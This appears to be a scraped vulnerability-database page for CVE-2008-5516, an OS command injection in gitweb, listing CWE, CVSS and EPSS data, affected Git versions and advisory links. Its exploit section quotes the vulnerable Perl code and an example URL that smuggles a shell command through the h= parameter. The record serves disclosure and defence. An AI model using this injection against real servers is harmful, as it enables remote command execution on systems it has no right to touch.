CVE-2008-5516 : Detail

CVE-2008-5516

OS Command Injection
A01-Broken Access ControlA03-Injection
1.25%V3
Network
2009-01-20
15h00 +00:00
2018-10-11
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The web interface in git (gitweb) 1.5.x before 1.5.5 allows remote attackers to execute arbitrary commands via shell metacharacters related to git_search.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11497

Publication date : 2010-02-17 23h00 +00:00
Author : S2 Crew
EDB Verified : No

# Exploit Title: gitWeb remote command execution # Date: 2009.06.19 # Author: S2 Crew [Hungary] # Software Link: - # Version: GIT 1.5.2 # Tested on: debian linux, GIT 1.5.2 # CVE: CVE-2008-5516 - CVE-2008-5517 # Code: # The cgi script doesn't show the command output *blind command execution ;)* # Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() sub git_object { # object is defined by: # - hash or hash_base alone # - hash_base and file_name my $type; # - hash or hash_base alone if ($hash || ($hash_base && !defined $file_name)) { my $object_id = $hash || $hash_base; my $git_command = git_cmd_str(); open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null" or die_error('404 Not Found', "Object does not exist"); $type = <$fd>; chomp $type; close $fd or die_error('404 Not Found', "Object does not exist"); # - hash_base and file_name # Example http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785

Products Mentioned

Configuraton 0

Git>>Git >> Version 0.99.9j

    Git>>Git >> Version 0.99.9k

      Git>>Git >> Version 0.99.9l

        Git>>Git >> Version 0.99.9m

          Git>>Git >> Version 0.99.9n

            Git>>Git >> Version 1.0.0

              Git>>Git >> Version 1.0.0b

                Git>>Git >> Version 1.0.3

                  Git>>Git >> Version 1.0.4

                    Git>>Git >> Version 1.0.5

                      Git>>Git >> Version 1.0.6

                        Git>>Git >> Version 1.0.7

                          Git>>Git >> Version 1.0.8

                            Git>>Git >> Version 1.1.1

                              Git>>Git >> Version 1.1.2

                                Git>>Git >> Version 1.1.3

                                  Git>>Git >> Version 1.1.4

                                    Git>>Git >> Version 1.1.5

                                      Git>>Git >> Version 1.1.6

                                        Git>>Git >> Version 1.2.0

                                          Git>>Git >> Version 1.2.1

                                            Git>>Git >> Version 1.2.2

                                              Git>>Git >> Version 1.2.3

                                                Git>>Git >> Version 1.2.4

                                                  Git>>Git >> Version 1.2.5

                                                    Git>>Git >> Version 1.2.6

                                                      Git>>Git >> Version 1.3.0

                                                        Git>>Git >> Version 1.3.1

                                                          Git>>Git >> Version 1.3.2

                                                            Git>>Git >> Version 1.3.3

                                                              Git>>Git >> Version 1.4.0

                                                                Git>>Git >> Version 1.4.1

                                                                  Git>>Git >> Version 1.4.1.1

                                                                    Git>>Git >> Version 1.4.2

                                                                      Git>>Git >> Version 1.4.2.1

                                                                        Git>>Git >> Version 1.4.2.2

                                                                          Git>>Git >> Version 1.4.2.3

                                                                            Git>>Git >> Version 1.4.2.4

                                                                              Git>>Git >> Version 1.4.3

                                                                                Git>>Git >> Version 1.4.3.1

                                                                                  Git>>Git >> Version 1.4.3.2

                                                                                    Git>>Git >> Version 1.4.3.3

                                                                                      Git>>Git >> Version 1.4.3.4

                                                                                        Git>>Git >> Version 1.4.3.5

                                                                                          Git>>Git >> Version 1.4.4

                                                                                            Git>>Git >> Version 1.4.4.1

                                                                                              Git>>Git >> Version 1.4.4.2

                                                                                                Git>>Git >> Version 1.4.4.3

                                                                                                  Git>>Git >> Version 1.4.4.4

                                                                                                    Git>>Git >> Version 1.5.0

                                                                                                      Git>>Git >> Version 1.5.0

                                                                                                        Git>>Git >> Version 1.5.0

                                                                                                          Git>>Git >> Version 1.5.0

                                                                                                            Git>>Git >> Version 1.5.0.1

                                                                                                              Git>>Git >> Version 1.5.0.2

                                                                                                                Git>>Git >> Version 1.5.0.3

                                                                                                                  Git>>Git >> Version 1.5.0.4

                                                                                                                    Git>>Git >> Version 1.5.0.5

                                                                                                                      Git>>Git >> Version 1.5.0.6

                                                                                                                        Git>>Git >> Version 1.5.0.7

                                                                                                                          Git>>Git >> Version 1.5.1

                                                                                                                            Git>>Git >> Version 1.5.1.1

                                                                                                                              Git>>Git >> Version 1.5.1.2

                                                                                                                                Git>>Git >> Version 1.5.1.3

                                                                                                                                  Git>>Git >> Version 1.5.1.4

                                                                                                                                    Git>>Git >> Version 1.5.1.5

                                                                                                                                      Git>>Git >> Version 1.5.1.6

                                                                                                                                        Git>>Git >> Version 1.5.2

                                                                                                                                          Git>>Git >> Version 1.5.2.1

                                                                                                                                            Git>>Git >> Version 1.5.2.2

                                                                                                                                              Git>>Git >> Version 1.5.2.3

                                                                                                                                                Git>>Git >> Version 1.5.2.4

                                                                                                                                                  Git>>Git >> Version 1.5.2.5

                                                                                                                                                    Git>>Git >> Version 1.5.3

                                                                                                                                                      Git>>Git >> Version 1.5.3

                                                                                                                                                        Git>>Git >> Version 1.5.3

                                                                                                                                                          Git>>Git >> Version 1.5.3

                                                                                                                                                            Git>>Git >> Version 1.5.3.1

                                                                                                                                                              Git>>Git >> Version 1.5.3.2

                                                                                                                                                                Git>>Git >> Version 1.5.3.3

                                                                                                                                                                  Git>>Git >> Version 1.5.3.4

                                                                                                                                                                    Git>>Git >> Version 1.5.3.5

                                                                                                                                                                      Git>>Git >> Version 1.5.3.6

                                                                                                                                                                        Git>>Git >> Version 1.5.3.7

                                                                                                                                                                          Git>>Git >> Version 1.5.3.8

                                                                                                                                                                            Git>>Git >> Version 1.5.4

                                                                                                                                                                              Git>>Git >> Version 1.5.4

                                                                                                                                                                                Git>>Git >> Version 1.5.4

                                                                                                                                                                                  Git>>Git >> Version 1.5.4

                                                                                                                                                                                    Git>>Git >> Version 1.5.4

                                                                                                                                                                                      Git>>Git >> Version 1.5.4

                                                                                                                                                                                        Git>>Git >> Version 1.5.4

                                                                                                                                                                                          Git>>Git >> Version 1.5.4

                                                                                                                                                                                            Git>>Git >> Version 1.5.4.1

                                                                                                                                                                                              Git>>Git >> Version 1.5.4.2

                                                                                                                                                                                                Git>>Git >> Version 1.5.4.3

                                                                                                                                                                                                  Git>>Git >> Version 1.5.4.4

                                                                                                                                                                                                    Git>>Git >> Version 1.5.4.5

                                                                                                                                                                                                      Git>>Git >> Version 1.5.4.6

                                                                                                                                                                                                        Git>>Git >> Version 1.5.4.7

                                                                                                                                                                                                          Git>>Git >> Version 1.5.5

                                                                                                                                                                                                            Git>>Git >> Version 1.5.5

                                                                                                                                                                                                              Git>>Git >> Version 1.5.5

                                                                                                                                                                                                                Git>>Git >> Version 1.5.5

                                                                                                                                                                                                                  Git>>Git >> Version 1.5.5.1

                                                                                                                                                                                                                    Git>>Git >> Version 1.5.5.2

                                                                                                                                                                                                                      Git>>Git >> Version 1.5.5.3

                                                                                                                                                                                                                        Git>>Git >> Version 1.5.5.4

                                                                                                                                                                                                                          Git>>Git >> Version 1.5.5.5

                                                                                                                                                                                                                            Git>>Git >> Version 1.5.5.6

                                                                                                                                                                                                                              Git>>Git >> Version 1.5.6.1

                                                                                                                                                                                                                                Git>>Git >> Version 1.5.6.2

                                                                                                                                                                                                                                  Git>>Git >> Version 1.5.6.3

                                                                                                                                                                                                                                    Git>>Git >> Version 1.5.6.4

                                                                                                                                                                                                                                      Git-scm>>Git >> Version 0.6.0

                                                                                                                                                                                                                                      Git-scm>>Git >> Version 0.7.0

                                                                                                                                                                                                                                      Rpath>>Linux >> Version 2

                                                                                                                                                                                                                                        References

                                                                                                                                                                                                                                        http://www.debian.org/security/2009/dsa-1708
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                                                                                                                                                                                                                        http://www.gentoo.org/security/en/glsa/glsa-200903-15.xml
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_GENTOO
                                                                                                                                                                                                                                        http://www.vupen.com/english/advisories/2009/0175
                                                                                                                                                                                                                                        Tags : vdb-entry, x_refsource_VUPEN
                                                                                                                                                                                                                                        http://securityreason.com/securityalert/4919
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SREASON
                                                                                                                                                                                                                                        http://secunia.com/advisories/34194
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                                        http://secunia.com/advisories/33964
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/23/2
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/20/1
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/21/7
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.ubuntu.com/usn/USN-723-1
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_UBUNTU